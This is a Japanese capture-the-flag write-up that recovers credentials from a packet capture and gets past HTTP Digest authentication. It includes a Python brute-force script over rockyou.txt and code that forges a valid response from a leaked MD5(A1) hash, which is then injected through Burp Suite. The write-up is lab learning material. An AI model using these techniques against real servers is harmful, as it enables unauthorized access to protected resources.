Digest is secure!
.pcapファイル
添付されているファイルで追跡してみると、Digest認証に成功している情報が出てきました。


これらの変数にどのような役割があるか、以下を参考にしました。
Digest認証
A1 = username ":" realm ":" password
A2 = HTTPメソッド ":" URI
response = MD5(MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2))
これらが必要な情報です。唯一わからないのがpasswordです。
これはブルートフォース攻撃かな?と思ったので、暗号結果が一致するようなpasswordを調べる方針でコードを書きました。
import hashlib
# 要素
username = "q9"
realm = "secret"
method = "GET"
URI = "/q9/"
nonce = "HHj57RG8BQA=4714c627c5195786fc112b67eca599d675d5454b"
qop = "auth"
nc = "00000002"
cnonce="656335d78cef6e86"
# 暗号結果
response = "26c8019eb6f7f41b9c14b4cbda48ab2e"
# ワードリストのインプット
wordlist = []
with open('rockyou.txt', encoding='latin-1') as f:
wordlist = [line.strip() for line in f]
# 暗号計算
A2 = method + ":" + URI
A2_MD5 = hashlib.md5(A2.encode()).hexdigest()
## ブルートフォース
index = 0
while True :
A1 =username + ":" + realm + ":" + wordlist[index]
A1_MD5 = hashlib.md5(A1.encode()).hexdigest()
r = A1_MD5 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + A2_MD5
r_MD5 = hashlib.md5(r.encode()).hexdigest()
if r_MD5 == response :
print(f'nice password:{wordlist[index]}')
break
else :
print(f'bad password:{wordlist[index]}')
index = index + 1
しかし、うまくいきませんでした。
異なる値と同じ値
/q9/と/q9/htdigestにアクセスしたとき、response・nc・cnonce以外一致しています。
-
response:暗号結果 -
nc:同じnonceを使った回数-
nonce:サーバ側が生成するランダム値
-
-
cnonce:リプレイ攻撃を避けるためのクライアント側が生成するランダム値
userが変わっていないのでpasswordは変わっていないと推測できます。
そして、/q9/htdigest/アクセスしているので、user:realm:MD5(A1)がわかります。
(最初は何も気にしてなかった)
A1 = username ":" realm ":" passwordですから、常に一定と言えます。
つまり、私がA1を出そうとしていた行為は全くの無駄でした…
Digest認証の突破
MD5(A1)がわかれば、任意のnc・cnonceに対して認証が通るresponseを作ることができます。
A1 = username ":" realm ":" password ← 確定している
A2 = HTTPメソッド ":" URI ← 確定している
response = MD5(MD5(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" MD5(A2)) ← 計算できる
せっかくなので先ほど書いたコードを改良して、responce計算を行います。
import hashlib
# 要素
username = "q9"
realm = "secret"
method = "GET"
URI = "/q9/"
nonce = "HHj57RG8BQA=4714c627c5195786fc112b67eca599d675d5454b"
qop = "auth"
nc = "任意"
cnonce="任意"
A1_MD5 ="c627e19450db746b739f41b64097d449"
# 暗号計算
A2 = method + ":" + URI
A2_MD5 = hashlib.md5(A2.encode()).hexdigest()
r = A1_MD5 + ":" + nonce + ":" + nc + ":" + cnonce + ":" + qop + ":" + A2_MD5
r_MD5 = hashlib.md5(r.encode()).hexdigest()
print(r_MD5)
実践
Burp Suiteを使用します。
まずは、Proxyタブからctfq.u1tramarine.blue/q9/にアクセスします。

ここでinterceptをオンにしてログインします。すると、必要な情報が出てきます。
これらの情報をコードに入力し、実行するとresponse=74eb2d08e10461eb7210b2123f4d1cef

responseを書き換えて、Forwardを押すとアクセスできました。

hereを押すと、/q9/flag.htmlで同じ認証が求められます。
上記と同様の方法でアクセスすることができます。(URI="/q9/flag.html"に変わります!)

まとめ
Burp Suiteの基礎的な活用方法を学べる良い問題だと思いました。
Digest認証の勉強にもなりました。
お疲れ様でした!

